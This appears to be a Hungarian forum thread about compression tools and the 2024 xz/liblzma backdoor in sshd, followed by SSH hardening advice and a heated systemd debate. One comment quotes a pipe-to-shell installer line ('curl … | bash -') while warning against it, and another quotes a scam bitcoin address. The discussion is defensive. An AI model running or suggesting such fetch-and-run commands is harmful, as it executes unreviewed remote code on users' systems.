A tonoritesnel mindig kerdeses, hogy milyen a bemeno adat. Anno meregettuk, hogy a mi rendszerukben mi az optimalis, amikor felmerult, hogy a korabbi gzip helyett mast kene hasznalni. Mi a sima system logokat es az audit meg alkalmazas logokat akartuk kevesebb helyen tarolni, nagyjabol pont ugy, mint minden ceg a vilagon. Meregettem kulonfele beallitasokkal, dict size meg hasonlok, de a futasidot es a tomoritett meretet nezve az jott ki, hogy a sima szoveges fileokra az xz -1 teljesen jo, mert hamarabb vegez mint a gzip, es asszem 30% -al kisebb a file a vegen, ami sok tera megtakaritast jelent. Az xz nem veletlenul lett az infrastrukturak szerves resze vilagszerte.

Nem véletlen van ennyiféle tömörítési algoritmus, mert mindegyiknek más fekszik. Az elterjedtebb algoritmusok közül pl. PPMd (7-zip-nek van ilyen módja), Burrows–Wheeler (bzip2) párosnak pl. az emberi szövegek fekszenek a legjobban. Megint más tömörítés jó médiatartalmakra, kódekekre. Megint más bináris futtatható állományokra.

Az xz, zstd inkább általános, azok úgy kb. mindenben viszonylag jók. A tömörítési fokokat is azért említettem, mert valóban, az xz alacsony fokozaton nem csak lehet ugyanolyan gyors, vagy gyorsabb, mint gzip, de lehet hatékonyabb is mellette.

Így gyakran valami speciális anyagnál több tömörítőt, és fokozatot is ki kell próbálni. Volt már könyv, amit nekem a bzip2 tömörített a legjobban. Volt egy bináris fájl egy régi CD-ről, azt pl. valami miatt úgy tudtam a legjobban tömöríteni, hogy zstd-vel tömörítettem először be, utána xz-vel, ez sokkal jobb tömörítést adott, mint ha csak egy tömörítőnek a legerősebb fokozatával tömörítettem volna. Megint más projektnél a sebesség számít, nem a helynyereség, ott mindent ver jelenleg a zstd. Így nincs legjobb tömörítő, egyiket se lehet abszolút győztesnek kikiáltani.

“The world runs on Excel spreadsheets.” (Dylan Beattie)

Pontosan. Volt projekt, ahol csináltam saját tömörítőt, mert egyedi volt az igény. A legtöbb tömörítő arra játszik, hogy egy fájlon belül ismétlések vannak. De mi van, ha sok majdnem egyforma fájlod van, és egyesével kell tömöríteni őket? Egy-egy fájlon belül nincs is ismétlődés, nem lesz haszon. De ha elkezded a tömörítést egy tömörítővel néhány példa adatra - előtanítod a tipikus mintákkal -, utána már az új adatokat extra hatékonyan fogja tömöríteni! Vagy egy másik megoldás a form-tömörítő (így neveztem el), ami egyszerűen egyetlen példából kiveszi az egyező szakaszokat, és azokat behivatkozza, ha talál ilyet. A template-tel előállított adatok tömörítésére kiváló. Én riportokat tömörítettem így.

Egy másik speciális eset az adatsorok tömörítése. Tipikus, hogy az adatsorok következő elemét nagyon jól lehet becsülni a múlt alapján. Például kevesedfokú görbét követ, vagy a meglévő frekvenciák szerint rezeg. Ilyet is csináltam már, mintánként 32 bitet le lehetett nyomni mintánként átlag 6 bitre. Közben a standard tömörítők semmit sem tudtak kezdeni vele, mert ismétlődés az nincsen benne.

A lényeg az, hogy az adatfolyam saját logikájához passzoló tömörítőt kell találni, az fog optimálisan működni. Az adat természetére vonatkozó a-priori tudást nem szégyen kihasználni.

( bzt | 2024. 03. 31., v – 09:15 )

Na, ki találja meg azt az egy karaktert, ami hazavágja az egészet? (Segítek, írásjelről van szó)
https://git.tukaani.org/?p=xz.git;a=blobdiff;f=CMakeLists.txt;h=d2b1af7…

Őszintén szólva nálam már az bazi nagy red flag, hogy egy tömörítő tesztjei között miért is van jogosultságellenőrzés tesztelés úgy egyáltalán. Nem dolga; hisz egy bufferből csinál egy másik buffert, semmi több. Bármi más a tesztekben már eleve baromira gyanús kéne legyen.

Nagyon remélem, hogy ez az egész mizéria nem borítja ki a srácot, mert a kódja egyébként nagyon jó, és a másik lzma implementáció, a 7zip-es egy használhatatlan és portolhatatlan összetákolt hulladék. Nagy kár lenne, ha most végleg besokkalna és felhagyna az xz fejlesztésével emiatt.

Az, hogy nem assertál rá, teljesen várható volt, hiszen Jia írta azt is meg a tesztet is. A célja mindvégig az volt, hogy ne is működjön, de ez ne tűnjön fel elsőre senkinek.

A kérdés sokkal inkább az, hogy egy tömörítő függvénykönyvtár miért is akarja tesztelni a linux kernel landlock támogatását, hiszen semmi köze hozzá (vagy hát legalábbis nem szabadna, hogy legyen köze hozzá).

nem is volt mar olyan program ahol a egyik unitteszt nem futott mert olyan volt a kornyezet, es az eltorte a tesztet. (bare metal linux vs docker container). olyankor jo ha van egy-egy tesztet ki lehet kapcsolni, mert mashogy nemmegy :(

A vegtelen ciklus is vegeter egyszer, csak kelloen eros hardver kell hozza!

Én úgy látom a commit historybol hogy a landlock támogatást eredetileg Lesse commitalta.

"A kérdés sokkal inkább az, hogy egy tömörítő függvénykönyvtár miért is akarja tesztelni a linux kernel landlock támogatását, hiszen semmi köze hozzá (vagy hát legalábbis nem szabadna, hogy legyen köze hozzá)"

Ahogy utana olvastam a landlock eseteben az alkalmazas sandboxolja magat (meghiv bizonyos syscall-okat). Ehhez szuletett a teszt.

( joco01 v | 2024. 03. 31., v – 13:01 )

Az már kiderült, hogy a backdoor mit csinál? Eddig csak találgatásokat láttam, hogy az sshd processzben csinálHAT valamit.

( Raynes v | 2024. 03. 31., v – 16:57 )

Szerkesztve: 2024. 03. 31., v – 16:59

Igen, kiderült, lehetővé teszi, hogy tetszőleges extra kódot futtasson le az SSH, amit messziről be tudnak adagolni neki.

Érdekes, hogy hiába értintett az Arch, Gentoo, stb. is, úgy van megírva a kód, hogy csak .deb és .rpm disztrókon működjön. Gyaníthatóan nem sok áldozat lesz, mert lényegében ezek közül csak a Debian Sid, Ubuntu 24.04 béta/RC, OpenSuse Tumbleweed, Fedora Rawhide, Fedora 40-41 béta érintett csak, a stabil és LTS kiadásokban, amit az éles szerverek és céges/otthoni desktop gépek többsége használ, az xz verziója olyan régi, hogy az még nem tartalmazta a backdoort.

“The world runs on Excel spreadsheets.” (Dylan Beattie)

"úgy van megírva a kód, hogy csak .deb és .rpm disztrókon működjön"

Szerintem egyszerűen így adta ki. Gondolom hátulról előrefele indultak el, a végcél az ssh megszabotálása, de ne direkt függőségén keresztül, mert úgy kevésbé lesz gyanús. Rájöttek, hogy vannak disztrók amik libsystemd-n keresztül - akaratlanul - behúznak egy csomó szükségtelen tranzitív függőséget. Upstream openssh biztonsági elemzésénél ezek a libek így képbe sem kerülnek. Ezeket gondolom egytől-egyig alaposan végignézték, és megtalálták a leggyengébb láncszemet: az 1 emberes liblzma-t.

Nyilván az volt itt a koncepció, hogy a legendás Kurt Roecx nyomdokaiba lépve (csak vele ellentétben nem balfékségből, hanem szándékosan) várhatóan 1-2 évig radar alatt fog maradni a kis művészbejárójuk, és addigra már lecsorog a legtöbb a LTS és enterprise disztróba is. Óriási szerencse, hogy nem így történt. És nyilván most sok elemzés témája lesz, hogy vajon lett volna-e valami védőháló ami megfogta volna.

Régóta vágyok én, az androidok mezonkincsére már!

>>úgy van megírva a kód, hogy csak .deb és .rpm disztrókon működjön.

természetesen semmi köze a csomagkezelőnek ehhez, teljesen feleslegesen bevezetett libsystemd (és ezzel liblzma) függőségnek annál inkább

 

Impact: The malicious code path does not exist in the arch version of sshd, as it does not link to liblzma.

( Elbandi v | 2024. 03. 31., v – 20:24 )

/off

az ilyen webes hekkek miatt van hidegrazasom a "curl http://install.site.com | bash -" fele telepitoktol. es sajna egyre tobb ilyen lesz.... :morcosfej:

A vegtelen ciklus is vegeter egyszer, csak kelloen eros hardver kell hozza!

ez igy van. meg rajtam kivul par hozzaerto csinal igy. a tobbi meg esznelkul futtatja rootkent, aztan ha lecserelodik a script valami mokolt cuccra, akkor csodalkozik hogy okossag telepult. raadasul nemcsak kis cegek hasznaljak igy hanem nagyok is :(

A vegtelen ciklus is vegeter egyszer, csak kelloen eros hardver kell hozza!

pont ugy, mint az ÁSZF-eknel.

Egy fecske nem csinal nyarat. Lehetsz te barmennyire okos, nincs igazan valasztasi lehetoseged.

Saying a programming language is good because it works on all platforms is like saying anal sex is good because it works on all genders....

Hát nagyon nem.

Az ÁSZF-et nem elég linkelni, hanem kötelező a felhasználó képébe tolni, ráadásul a legtöbb helyen nem is lesz aktív a "tovább" gomb, amíg végig nem görgeted.
Ezzel szemben az .sh-t a legtöbb helyen nem is linkelik olvasható formában (csak copy'n'paste one liner van), ezért a legtöbb felhasználó úgy futtatja, hogy még csak bele sem néz.

További jelentős különbség, hogy míg az ÁSZF átlag Pista által érthető, emberi nyelven íródott, addig egy .sh esetében nem várhatod el, hogy minden végfelhasználó shell guru legyen.

Fogadni mernék, hogy az ászf-et alaposan, értőn olvasók aránya nem magasabb, mint a shell script-et olvasni képes emberek aránya. És mindkettőre igaz, hogy simán érdektelenségbe lehet tolni bárkit vele, mert ha 20 oldal, nehéz nyelvezetű és tele van hivatkozásokkal, akkor még az is feladja, aki eredetileg szőrözni akart

Függetlenül attól, hogy értik-e, az egyiket akkor is a képedbe tolják, míg a másikhoz meg még a linket is vadászni kell, hogy egyáltalán elolvashasd.
Nagyon nem ugyanaz a kettő!

ps: például a kollága által linkelt https://docs.rke2.io/install/methods is tipikusan ilyen, nincs sehol link a szkriptre ahol megnézhetnéd; ha el akarod olvasni, akkor az url-t ki kell jelölnöd a parancs közepéből és kimásolnod, majd új büngészőfül url sávjába beilleszteni és megnyitni. Ne vicceljünk már, hogy ez ugyanaz lenne, mint amikor a szöveg egyből megjelenik.

Szerintem aki nem tud elolvasni es ertelmezni egy .sh scriptet, annak nem biztos, hogy rogton rke2 clustert kellene telepitenie, mert annak jo vege ugysem lesz.

De kicsit eltavolodva a peldatol, vajon egy .rpm-et hanyan szednek szet telepites elott, hogy mit fog csinalni? Vagy odaadjak neked egy tarban a binarist, honnan tudod, hogy nincs-e benne backdoor?

Imho itt az .sh script a legkisebb problema.

> Hát nagyon nem.

 

Aszondja:

Összesen: 15680 Ft

[ ] Elfogadom az [Általános szerződési feltételek]-et és az [Adatvédelmi tájékoztató]-t

[<- Vissza] [MEGRENDELEM]

 

És most tegye fel a kezét, aki random webshopban mind az ASZF-et, mind az Adatvedelmi tajekoztatot el szokta olvasni.

Mese.

Saying a programming language is good because it works on all platforms is like saying anal sex is good because it works on all genders....

( djpety v | 2024. 04. 01., h – 00:46 )

@SySERR Te voltál? 😂 Tiszta mscplite szitu csak már komoly social engineeringgel.

Igen! Az tuti, azért az xz szépen fel lett építve és nem egyszemélyes hadműveletnek néz ki, de technikai megoldásokban még akár 1-1 ismerős rész is van. Meg, eltelt pár év azóta. (Bár még néha szállnak TCP_SYN,TCP_RST,TCP_ACK,UDP csomagok volumetrikusan SySERR megoldásaiból :D)

( kmmk | 2024. 04. 01., h – 15:43 )

1. Open source igy meg ugy: Ehhez sem kellett open source, hogy megnezzek, hogyan mukodik: (85) Reversing WannaCry - YouTube (Reversing WannaCry Part 1 - Finding the killswitch and unpacking the malware in #Ghidra by Youtube)

2. GNU Autotools-s build rendszer, hogy ez meg nem tunt el 2024-ben. Van egy rakat, ami sokkal ertelmesebb.

3. A conclusion, miert kell systemd-nek mindentol is fuggnie. Illetve, hogy hany hasonlo project lehet. Osszelegozunk mindenfele projectet aztan gyurunk egy valamit belole. 

4. Andres Freund : Long time postgres developer, working at Microsoft. Ilyenkor nem szamit....

Andres Freund tényleg a Microsoft-nál dolgozik, bár lehet hogy nem Redmond-ban. A szakmai munkásságát nem ismerem, először találkoztam a nevével.

"Jegyezze fel a vádhoz - utasította Metcalf őrnagy a tizedest, aki tudott gyorsírni. - Tiszteletlenül beszélt a feljebbvalójával, amikor nem pofázott közbe."

Ebben az esetben nem ér. A sors iróniája, hogy MS-os vette észre a backdoort, nyugodtan eltitkolhatta volna, hogy a MS-os rendszerek tűnjenek biztonságosabbnak, de nem tette, szólt becsületesen, egy későbbi nagy támadássorozatot segített kivédeni, járna neki valami jutalom.

Én egyébként ezt régóta írom, hogy a MS önszántából szemét cég. Nem az, hogy ott nem lennének jó szakemberek, tehetséges programozók, mert vannak, pl. ez a csóka, vagy Russinovich, stb., csak nem hagyják őket rendesen érvényesülni, hanem bullshit céges stratégia mentén kell nekik kódolni, és így nem tud érvényre jutni a szakmai tudásuk. Ez így meg pocsékolás, hogy ott a szakember, tudna jobb szoftvert írni, csak nem engedik neki.

“The world runs on Excel spreadsheets.” (Dylan Beattie)

Hány olyan céget mutassak neked (multi, kkv, hazai, külföldi), ahol nem érvényesül a szakmai nívó?
Sajnos manapság egyre kevésbé divat / van lehetőség a szakmai profizmusra. Felhígult a világ. A pénz, a profit, a részvényesek, a tulajdonosok 10. új háza / BMW-je sokkal fontosabbak lettek.

( NevemTeve | 2024. 04. 01., h – 16:36 )

Egyelőre csak annyit értek, hogy a "gyári" sshd mindenféle furcsaságra dependál, mint pl.: liblber-2, libldad, libnss3, libsystemd, libsasl2, libselinux, libwrap

Nem kell értened, csak annyit, hogy Poettering mester tudja és eldöntötte helyetted, hogy neked mi lesz a jó. Ő jobban tudja, megvéd majd saját magadtól. Az, hogy egy-két durva sechole becsúszik, az nem érdekes.

“The world runs on Excel spreadsheets.” (Dylan Beattie)

Azért van itt egy mélyebben lévő probléma: az sshd dependál egy ilyen szimbóleumra:

$ nm -D /usr/sbin/sshd | grep -i systemd
                 U sd_notify@LIBSYSTEMD_209

Hogy azután ez futáskor honnan fog feloldódni, azt a jósors és midikloriánok áramlása dönti el.

Ha ez AIX lenne, akkor ilyesmiket lehetne látni:

$ dump -Tv -X64 /usr/local/sbin/sshd | grep 'openpty'
[Index]      Value      Scn     IMEX Sclass   Type           IMPid Name
[421]   0x00000000    undef      IMP     DS EXTref /usr/local/lib64/libutil.so.1 openpty

Vagyis linkeléskor rögzíthetem, hogy milyen fájlból jöjjön a kérdéses szimbóleum.
Persze ez sem fenékig habostorta, például az Openssl régi verziói a -bexpall opcióval készültek, ami azt eredményezte, hogy például a 'memcmp'-t is exportálta a derék termék.

Persze. Ezért írom én régtől fogva, hogy nem a systemd-vel van a baj önmagában, hanem azokkal a fejlesztőkkel meg disztrókkal, akik mindent rá dependelnek, ha kell, ha nem, ész nélkül, ők teszik kiválthatatlanná.

Ha tényleg csak egy initrendszer lenne, nem lenne mindennek függősége, simán modulárisan le lehetne cserélni egy másik initrendszerre, nem zavarna senkit. De nem lehet, a sok barom függőség miatt. Persze, másik initrendszert fel lehet így is tenni, működik, csak ugye akkor a rendszeren ott kell legyen a függőségek miatt pár extra systemd-s implementáció, elogind, stb., így meg csak áltatják magukat azok, akik más initrendszert használnak, hogy kikerülték. Nem kerülték ki, egyes részei továbbra is ott futnak a háttérben, így meg adtak a kakának egy pofont. Ez volt mindig is a baj a systemd körül. Nekem az nem fájna, hogy valakinek tetszik, használja, meg vannak disztrók, amik erre építenek, hanem hogy aki ezt nem akarja, arra is rá van tolva mindenhol.

“The world runs on Excel spreadsheets.” (Dylan Beattie)

Továbbá itt van az `ifunc` nevű jóság. Tipikus 'Bobóizmus', ha engem kérdeznek: semmivel sem kompatibilis egyéni lelemény, ami több problémát okoz, mint amennyit megold (de mégvalószínűbb, hogy olyan megoldás, amihez még nincs meg a probléma).

https://sourceware.org/glibc/wiki/GNU_IFUNC

(Azért C-ben a funktort valahogy le lehet programozni megkönnyítőprogram nélkül is, méghozzá úgy, hogy minden fordítóval működjön, gcc-only megkönnyítés nélkül. Off: pl az OpenSSL úgy ellenőrzi futásidőben az AltiVec meglétét, hogy az elején egyszer meghívja az optimalizált Assembly rutint, és nézi, hogy jön-e a SIGILL. Ha igen, akkor felírja a legjobb változójába, hogy ezentúl a sima nem-optimalizált C-rutint kell hívni.)

 

thesamesam:

easter

For those pointing fingers to geography and ethnicity, need I remind them that this holiday is observed by western christian religions/geographies, catholics/protestants etc, not eastern (from Siberia to East Africa), nor hindus, budhists, jews, or muslims.
Orthodox related easter holidays are late April.

 

Nekem ez volt az elso. De mostmar mas az elso, es van elotte egy "load earlier comments" gomb, amit eddig eszre se vettem.

 

Lehet szerencsetlenul jott ki csak.

 

Saying a programming language is good because it works on all platforms is like saying anal sex is good because it works on all genders....

Húsvétkor életre kelt a wazuh :) látszik, hogy a hitetlenek nem ünneplik, amúgy ezt a küldj x bitcoint y címre mert kirakjuk ahogy kivered szerintem már sehol nem működik, egyedül az abuse kukacra esett be mert nincs szűrés. (Imádom amikor onnan esnek vissza az extra igények, hogy csak a header mert amúgy nem nyitják meg Mailgun, vagy az abuse kukac visszabassza , hogy nem vesszük át mert spam ;))

114gujDoFd25T6Sn1bQGYBWDE5sH8sdEiD

Egy cent nincs a walletbe (+200 ip permaban :)) akkor minek erőltetni?

( kris | 2024. 04. 03., sze – 17:24 )

Kezünket a szívünkre téve, mi a megoldás?

 

Én kettőben gondolkodom:

- swap to dropbear 

- 2FA openssh-server-hez

 

Egyéb ötlet?

Esetleg lehet egy szavazás is belőle.

A debian testingből nehezen engedek, mert nem akarok point releasekkel / upgrade-kkel senyvedni.

Hát, ha supply chain attacktól tartasz, és szeretnél kockázatot csökkenteni, akkor minél kevesebb 3rd partyt kell a képben hagyni:

  • dobd ki a middlemaneket a kód útjából, dolgozz a vanilla openssh-val
  • minimalizáld a build infrastruktúra kitettségét is, tehát adott esetben csináld te az eredeti upstream forrásból
  • válassz olyan upstreamet, aminél kevésbé látod esélyesnek, hogy magába a saját kódba Mallory csúnyaságot tud jutattni: nehezebben ad elő ilyen legitimate beépülést vagy egyéb social engineeringet, mert olyan a közeg; nehezebben csúszik át a kód a review processzeken, mert azok jobbnak tűnnek, vagy kevesebb a változás, jobban feltűnik
  • válassz olyan upstreamet, aminek kevesebb a külső függősége és/vagy  megbízhatóbbnak tartod az upstreameket az előző szempontok alapján (erre a kettőre lehet, hogy jó a dropbear, nem tudom)

A 2FA nem tudom, mennyiben segít: ha szar kerül az ssh kódba, azt is le tudja szarni. Hacsak nem arra gondolsz, hogy plusz, független autentikációt illesztesz a belépési folyamatba.

Írtam is, hogy Debian testing az maradjon, ha lehet. És igazad van: ha komolyan vesszük a dolgot, akkor a Debian testing úgy általában nagyon mélyre került ezzel az incidenssel. (Sovány vigasz, hogy a RedHat se jobb.) 😭😭😭 Mert különben annyival jobb (nekem) mint bármi más. De most komolyan... nekiállni vanilla openssh-server-t hegeszteni az egészhez...

A 2FA-val arra gondoltam, igen, hogy extra PAM modul, de asszem (nem vagyok valami nagy expert), ha key auth van, akkor az egész PAM kiesik, öszvér (key auth + PAM based 2FA) meg nem tudom, hogy lehetne. Jelszót beírogatni azon a 10+ ilyen-olyan / itt-ott adminisztrált gépen szintúgy nincs nagy kedvem. 

Írtam is, hogy Debian testing az maradjon, ha lehet. És igazad van: ha komolyan vesszük a dolgot, akkor a Debian testing úgy általában nagyon mélyre került ezzel az incidenssel. (Sovány vigasz, hogy a RedHat se jobb.) 😭😭😭 Mert különben annyival jobb (nekem) mint bármi más. De most komolyan... nekiállni vanilla openssh-server-t hegeszteni az egészhez...

Sajnos komolyan. Nem sok köze van ennek a distrohoz. Ez a konkrét támadási fajta ezt úgy hívják, hogy supply chain attack*, és gyakorlatilag arról szól, hogy valahol a szoftver forrásból a gépeden futó binárisig van egy hosszú technikai folyamat, ami bele tudhat nyúlni abba a binárisba, és tulajdonképpen még bizalmat szavazol egy csomó más mindenkinek is a szoftver konkrét forrásán kívül: Az ilyen olyan source hosting providernek, az ilyen olyan fordítónak írójának, a distro csomagolójának, a distro infrastrukútájának, stb stb. És ugyanez tulajdonképpen ugyanúgy az összes külső függőségre, amit a program hoz, mint dependenciát (valahol a folyamat közben), Ezt a kockázatot generikusan úgy lehet csökenteni, ha ezeket minél jobban kihagyod. Persze ez kurva nagy munka, és egyáltalán nem biztos, hogy a végeredmény összességében jobb lesz (ti: a social engineering ellen jobb eséllyel védekezel saját magad, cserébe a saját infra műszaki biztonsága már egyáltalán nem biztos.

Ez van, mind a sw mind a distro alapvetően egy bizalmi kérdés ebből a szempontból. Azt érdemes figyelni, hogy mit reagálnak a distrok erre, hogyan próbálják az általuk karbantartott láncot ebből a szempontból megbízhatóbbá tenni.

Mert nyilván nem fog az ember saját distrót gyártani magának, irreális. A kifejezetten kockázatosnak ítélt komponensekből esetleg lehet értelme, illetve ebben az egész konkrét esetben van értelme azt csinálni, hogy valami külön layert teszel, tehát pl az ssh csak vpnben megy, vagy legalábbis van valami előtét azonosítás, így kisebb eséllyel lesz kihasználható nálad egy darab luk, de ehhez kell a külön műszaki megoldás, ez ellen a konkrét támadás ellen az ssh auth folyamatának finomhangolása nem segít.

* ráadásul ez kisse határeset is, supply chain, suppy chain, de valójában eleve nem megbízható kód került egy szállított szoftver forrásába is, az, hogy itt a kiscsóka úgy fest, meg social engineeringelte a projektet, de valójában simán kelhetett volna fel ballábbal a szoftver írója is (lásd mindenféle we support ukraine patcheket az utóbbi pár évben random helyeken, simán lehet, hogy valaki nem zászlót rajzol a konzolra, hanem belecsempész egy backdoort, és odaadja support gyanánt az ukránoknak), szóval at the end of the day, ez egy trust issue.

sshd_config publickey+pam:

HostbasedAuthentication no
IgnoreUserKnownHosts yes

PubkeyAuthentication yes

PasswordAuthentication no
KerberosAuthentication no
GSSAPIAuthentication no

KbdInteractiveAuthentication yes
ChallengeResponseAuthentication yes

UsePAM yes

AuthenticationMethods publickey,keyboard-interactive:pam

PermitRootLogin no
LoginGraceTime 60

Banner /etc/issue.net
PrintLastLog no
PrintMotd no

PermitUserRC no

AcceptEnv LANG LC_*

"a RedHat se jobb"

Nekem az jött le, hogy a Redhat egészen közel járt hozzá, hogy észrevegye. Talán a valgrind scan jelzett be náluk. A jóhiszeműség volt a vesztük, mert először pont a fejlesztőt (Jia Tan-t) értesítették, aki pedánsan vett fel rá bug ticketet, megköszönte a Redhat-nek és "javította".

Régóta vágyok én, az androidok mezonkincsére már!

ahol lehet ott ki se engedjuk az ssh-t a netre (csak fix ip-rol vagy vpn-en elerheto), ahol muszaj ott at lehet rakni non-default portra (es mondjuk nem 2222-re), lehetoleg olyanra ami nmap default scan portlistben sincs benne (by default csak 1000 portot nez, meg lehet tuzfalon is szurni a portscant ratelimittel). persze celzott tamadas ellen ez xart sem er, de legalabb a netet scannelo malwareket megallitja.

a dropbear amugy jo otlet, pont tegnap neztem at mi a kinalat ssh server implementaciokbol, hat nem sok van, es ami van meg ezeken kivul az meg rosszabb security szempontbol.  dropbear elonye hogy le lehet eleg minimalra forditani, hogy semmin se dependeljen, meg a zlib is kihagyhato belole, es sajat ssl implementacioja van (nem opensslt hasznal). 200+ fejlesztoje van githubon, talan jobban ervenyesul a manyeyeballs is.  hatranya hogy az openssh utan a 2. legelterjedtebb cucc (foleg embedded/iot/soho eszkozokben), igy jobb celpont a hackereknek.

Igen, az Interneten figyelő ssh szervereknél a high-port amúgy is alap. Még az jutott eszembe, hogy innentől az Internetről elérhető ssh-nak en-bloc vége, és egy Zerotier vagy valami még lightos VPN még lesz előtte. 

És a dropbear-nél nekem is ez volt az ellenérv: ha valaki embedded eszközre akar malware-t csinálni akkor a dropbear nagyon is jó célpont. De ezzel a logikával az openssh még jobb célpont :) Szóval itt személyes diverzifikáció (szegény ember vízzel főz) lesz a megoldás: ha új gépet húzok arra dropbear kerül alapból. Ami van, az meg szép lassan átkerül -- vagy nem. Ha valami beüt, legalább nem minden lesz érintett.

meg ez is eleg fura, belepek 'arpi' userrel es root-kent fut az sshd child processz is:

root      124630       1  0 Apr02 ?        00:02:03 dropbear -R
root      154619  124630  0 18:43 ?        00:00:00 dropbear -R
arpi      154620  154619  0 18:43 pts/7    00:00:00 -bash
arpi      154628  154620  0 18:43 pts/7    00:00:00 ps -ef

ezzel szemben az openssh:

root      2227     1  0  2023 ?        00:10:51 /usr/sbin/sshd
root      7547  2227  0 20:46 ?        00:00:00 sshd: arpi [priv]
arpi      7549  7547  0 20:46 ?        00:00:00 sshd: arpi@pts/0
arpi      7550  7549  0 20:46 pts/0    00:00:00 -bash
arpi      7569  7550  0 20:46 pts/0    00:00:00 ps -ef

bar itt igazabol 2 sshd is forkolodik egymasbol, egyik root masik arpi userrel?

https://github.com/openssh/openssh-portable/blob/master/README.privsep

Egyébként két napja commitolták, hogy ne kelljen a libsystemd -t linkelni (és azzal berántani a liblzma-t ) a notify támogatáshoz.

https://github.com/openssh/openssh-portable/commit/08f579231cd38a1c657a…

Egyébként két napja commitolták, hogy ne kelljen a libsystemd -t linkelni

Eleve elcseszett ötlet volt a systemd részéről, hogy linkelni kell a libsystemd-t a támogatott daemonokba. Érdekes, a SysV de még az agyonbonyolított solarisos svc is képes megoldani enélkül.

Na de a lényeg, hogy valóban, tökéletesen igazad van, ez a tényleges fix. Ki kell hajítani a felesleges függőségeket, és durván fogyókúrára fogni a supply-chaint, hogy csökkenjen a támadható felület.

Arpi_esp-nek teljesen igaza van, mi a halálnak kell kommunikálni oda-vissza? Bőven elég annyi, amit a signal nyújt, ráadásul ezeket a parancsokat a systemd küldi a service-nak, és nem pedig fordítva a service a systemd-nek! A visszafele iránynak semmi értelme. (Az meg már csak hab a tortán, hogyha nem standard módon ellenőrzi a service állapotát, hanem elhiszi, amit az magáról állít, akkor könnyedén inkonzisztencia alakulhat ki. Pl. mi van akkor, ha egy service elküldi a "rendben elindultam" jelzést, majd bedobja a törülközőt. A systemd ilyenkor képtelen újraindítani a service-t, mert a legutóbbi üzenet miatt azt hiszi, minden okés. Konkrétan szoptam már ezzel.)

Hullára felesleges a libsystemd, csak arra jó, hogy mivel szarul van megírva, támadási felületet adjon, másra nem. Egy szolgáltatásnak tök felesleges bármilyen infót is küldeni az init-nek, bőven megfelel a célnak egy pid fájl is. Abból már lehet tudni, hogy elindult-e sikeresen, és ha igen, akkor kinek kell a signalokat küldeni (ami mégegyszer, init-service irány, és NEM service-init irány). Másra nincs szükség.

Egyébként szvsz a legundorítóbb dolog a journalctl, egy fos az egész, olvashatatlan a kimenete, képtelenség kihámozni az üzeneteiből, hogy mi a fasz történt, ráadásul tök felesleges redundancia, mert pont erre való a syslog. Ha egy init környezet nagyon akarná tudni, mi a fene folyik egy service-on belül, akkor arra ott az RFC5424, ami rendesen ki lett találva, jól strukturált üzenetekkel (a protokoll sokkal több, mint amit a logokban látsz!).

Ha a jóval több infó a cél, simán nézhetné azt, nem kell ehhez újra feltalálni a spanyolviaszt, csak sokkal szarabbul, ahogy a systemd tette. (Ja, és a syslog küldéshez még plusz lib sem kell, POSIX szabvány, tehát nincs plusz supply-chain attack felület, nincs extra függőség, az OpenSSH egyébként is használja, és mivel egyirányú csak-küldés kommunikáció, azon keresztül egész biztos nem lehet backdoor-t telepíteni, hacsak nem magát a libc-t támadják, ami egy ici-picit macerásabb, mint egy 3rd party libet támadni.)

Továbbra is fenntartom, hogy a tényleges probléma itt az, hogy a systemd egy hulladék, pocsékul megtervezett bloated fos. Nekem soha semmi bajom nem volt a SysV init-tel, mindig tette szépen a dolgát, tök felesleges volt lecserélni csak mert. Én eddig még semmi előnyét nem tapasztaltam meg a systemd-nek, csak a problémáiba futottam bele a hétköznapi használat során.

Szerintem az elindulás tényét jelezni annyiból van értelme, hogy amikor a szolgáltatásra épülő további szolgáltatást indítjuk, akkor garantált, hogy már válaszol is. Például egy webszerver nem akkor van elindulva, amikor a processz már létezik, hanem amikor nyitva van a port és rendes válaszokat kap minden http kérés.

Nem mondom, hogy nagyon fontos, de el lehet kerülni vele, hogy a szolgáltatást pollozni kelljen a felhasználónak CPU terheléssel, vagy timeouttal. Ettől lesz zökkenőmentes és gyors a boot komplexebb esetekben is, hogy eseményvezérelten minden azonnal indul amikor lehet, és biztosan elsőre tud csatlakozni amihez akar.

nemcsak annyi signalt lehet kuldeni service -> systemd iranyban hogy "kesz vagyok". van egy csomo masik ami jol johet egy komplexebb rendszernel: "elindultam, de meg nem vagyok kesz", "reloadoltam a sajat configot, valami megvaltozott, lehet kell egyket masik process ujrainditasa", "le akarok allni, allitsd le elotte ami szukseges!", stbstb.

A vegtelen ciklus is vegeter egyszer, csak kelloen eros hardver kell hozza!

van egy csomo masik ami jol johet egy komplexebb rendszernel

Nem, nem jöhet jól egyik sem. A service-t indítónak nem kell tudnia ezekről, nem is dolga, hogy nyilvántartsa ezeket. Sőt, a UNIX filozófia és bármilyen biztonsági előírás megköveteli, hogy nem is szabad tudnia ezekről. Az init-nek csak annyit kell tudnia, hogy rendben elindult-e (azaz képes-e már kéréseket fogadni) a service. Ehhez pedig bőven elég a pid fájl, és ahogy arpi_esp is mondta, ezt akkor kell létrehozni, amikor már minden okés.

"elindultam, de meg nem vagyok kesz"

Ez az állapot kit érdekel? Nem mintha bárki bármit is tehetne, ha ebben az állapotban ragad egy szolgáltatás, hisz ez teljesen a szolgáltatás belügye. Ha adott időn belül nem képes kéréseket fogadni, akkor az a szolgáltatás beszart, hullára tök mindegy, hogy mi a pontos státusza, az senkit nem érdekel, csak az, hogy nem képes kéréseket fogadni.
Az több, mint elég, ha syslog-ba elpanaszolja a szolgáltatás, hogy mi a nyűgje-baja, az init-nek tök felesleges tudnia az okot.

"reloadoltam a sajat configot, valami megvaltozott, lehet kell egyket masik process ujrainditasa"

Megint, ez a szolgáltatás belügye, az init-nek semmi köze hozzá, hogy mely processzek használják, így nem is tudhat róla, nem is kell tudnia róla, sőt, nem is szabad tudnia róla, hogy az az "egykét másik processz" pontosan melyikek is. De még ha tudná is, hogy kellene újraindítania őket? Nem lát bele a szolgáltatás és a processzek kommunikációjába, nem is tudja, mi ott a "kacsolat vége" parancs, azt beinjektálni a kommunikációba végképp képtelen (vagy ha mégis képes, az nagyon nagy baj).

"le akarok allni, allitsd le elotte ami szukseges!"

Ez dettó hülyeség, nehogy már a nyúl vigye a vadász puskát! Annak eldöntése, hogy melyik szolgáltatás melyiktől függ, az init dolga, és nem a szolgáltatásé. Mi van akkor, ha egy szolgáltatás tudtán kívül függősége egy másiknak, és nem küldi ezt az üzenetet? Akkor elhasalhat az egész rendszer, mert jólvanazúgy'?

